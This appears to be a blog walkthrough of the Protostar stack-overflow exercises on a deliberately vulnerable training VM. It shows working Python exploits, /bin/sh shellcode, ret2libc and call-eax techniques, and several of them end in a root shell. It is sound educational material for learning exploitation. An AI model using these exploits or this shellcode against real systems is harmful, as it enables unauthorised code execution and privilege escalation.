Protostar is a basic introduction to binary exploits, with ASLR turned off and an executable stack, it’s meant for learning the basics. You can download the VM here.
I’ll be running it on my personal XenServer setup but VirtualBox is more than enough.
Simply ssh
in with the credentials they’ve provided and the exercises will be in /opt
.
I’ll be doing the stack exercises in this post. I’m slightly more familliar with stack overflows but there are things I got stuck at, like ROP and ret2libc.
Spoilers Ahead!
Stack 0
Stack 0 is given as:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Since modified is above the buffer, overwriting one byte will do the trick.
stack0.py:
payload = "A" * 65
print payload
$ python stack0.py | /opt/protostar/bin/stack0
you have changed the 'modified' variable
Stack 1
Almost the same as stack0, but modified has to be 0x61626364
.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
The site tells us that Protostar is little endian, so I’ll use the struct
module in python to pack it into little endian form.
stack1.py:
import struct
payload = "A" * 64
payload += struct.pack('I', 0x61626364)
print payload
$ /opt/protostar/bin/stack1 `python stack1.py`
you have correctly got the variable to the right value
Stack 2
The method of exploiting this is the same as stack1 only changing 0x0d0a0d0a
and setting it as an environment variable.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
stack2.py:
import struct
payload = "A" * 64
payload += struct.pack('I', 0x0d0a0d0a)
print payload
$ export GREENIE=`python stack2.py`
$ /opt/protostar/bin/stack2
you have correctly modified the variable
Stack 3
Stack 3 gets slightly more interesting as gdb or objdump is required.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
The concept is still the same, since the program will jump to where fp
points to, just overwrite fp
with win
’s address.
We can get the address with gdb.
(gdb) disass win
Dump of assembler code for function win:
0x08048424 <win+0>: push %ebp
0x08048425 <win+1>: mov %esp,%ebp
0x08048427 <win+3>: sub $0x18,%esp
0x0804842a <win+6>: movl $0x8048540,(%esp)
0x08048431 <win+13>: call 0x8048360 <puts@plt>
0x08048436 <win+18>: leave
0x08048437 <win+19>: ret
End of assembler dump.
The address of win
is 0x08048424
, we can add this in the exploit.
stack3.py
import struct
payload = "A" * 64
payload += struct.pack('I', 0x08048424)
print payload
$ python stack3.py | /opt/protostar/bin/stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
Stack 4
There’s no file pointer this time, so we’ll have to overwrite the stored return address.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
When a program returns, it will jump to an address previously stored in the stack. We’ll just have to find the location of this address by fuzzing stack4 in gdb.
(gdb) r
Starting program: /opt/protostar/bin/stack4
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
0x54545454
indicates that T controls EIP, changing what’s at T’s position will change EIP.
stack4.py
import struct
payload = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
payload += struct.pack('I', 0x08048424)
print payload
$ python stack4.py | /opt/protostar/bin/stack4
code flow successfully changed
Segmentation fault
Stack 5
Stack 5 wants us to exploit this:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Since there’s no win
function, we have to write shellcode or ret2libc.
The return address will point to the stack with an offset to hit the shellcode, in this case it’s 40.
I got some shellcode online from shell storm and placed it in the stack after the return address.
Because stack offsets aren’t always consistent a NOP slide is needed to make it reliable.
For x86 the NOP instruction is 0x90
.
stack5.py
import struct
padding = "A" * (64 + 12)
jump_addr = struct.pack("I", 0xbffff750 + 40)
nop_slide = "\x90" * 128
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = padding + jump_addr + nop_slide + shellcode
print(payload)
cat
is there to stop the program from exiting and allows interaction with the spawned shell.
$ (python stack5.py; cat) | /opt/protostar/bin/stack5
whoami
root
Stack 6
Code to exploit:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
In getpath
the program checks if the return address is in the stack, if it does the program exits without returning to the address.
A ret2libc or ROP exploit is needed, I’m going for ret2libc.
For a ret2libc attack we overwrite the return pointer to a libc function like system
. Reading system
’s man pages got me this:
The
system()
function hands the argumentcommand
to the command interpreter sh(1). The calling process waits for the shell to finish executing the command, ignoring SIGINT and SIGQUIT, and blocking SIGCHLD.
The command
argument can be passed through the stack by placing it after the return address, but we will need to find "/bin/sh" in the memory first.
This will be the stack layout:
-------------------------------------------
| buffer | padding | &system | &"/bin/sh" |
-------------------------------------------
Getting system
’s address using GDB:
$ gdb /opt/protostar/bin/stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) r
Starting program: /opt/protostar/bin/stack6
Breakpoint 1, main (argc=1, argv=0xbffff804) at stack6/stack6.c:27
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
There are usually strings in the stack like environment variables but strings in libraries are more reliable. I’m going to use strings in libc, so I’ll have to get the libc address.
(gdb) info proc map
process 2136
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
Libc starts at 0xb7e97000
but I’ll need to find a string in it using strings
:
$ strings -t d /lib/libc-2.11.2.so | grep /bin/sh
1176511 /bin/sh
This means /bin/sh will be at 0xb7e97000 + 1176511. I now have everything we need for the exploit.
stack6.py
import struct
padding = "A" * (64 + 16)
system_argument = struct.pack("I", 0xb7e97000 + 1176511)
jump_system = struct.pack("I", 0xb7ecffb0)
payload = padding + jump_system + "AAAA" + system_argument
print(payload)
(python stack6.py;cat) | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAA���AAAA�c�
whoami
root
Stack 7
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
The restriction tightened so the previous method won’t work but there is a call to strdup
, its man pages states:
The strdup() function returns a pointer to the duplicated string, or NULL if insufficient memory was available.
The aim is to divert code execution to the returned string.
Since functions typically return to EAX a jmp %eax
or call %eax
would run the shellcode in our buffer.
$ objdump -D /opt/protostar/bin/stack7 | grep "call.*eax"
8048478: ff 14 85 5c 96 04 08 call *0x804965c(,%eax,4)
80484bf: ff d0 call *%eax
80485eb: ff d0 call *%eax
Stack layout
------------------------------------
| shell code | padding | &call_eax |
------------------------------------
I used a different shellcode this time.
stack7.py
import struct
shell_code = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
padding = "A" * ((64 + 16) - len(shell_code))
call_eax = struct.pack("I", 0x80484bf)
payload = shell_code + padding + call_eax
print(payload)
$ python stack7.py | /opt/protostar/bin/stack7
input path please: got path 1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
̀AAAAAAAAA�AAAAAAAAAAAA��
whoami
root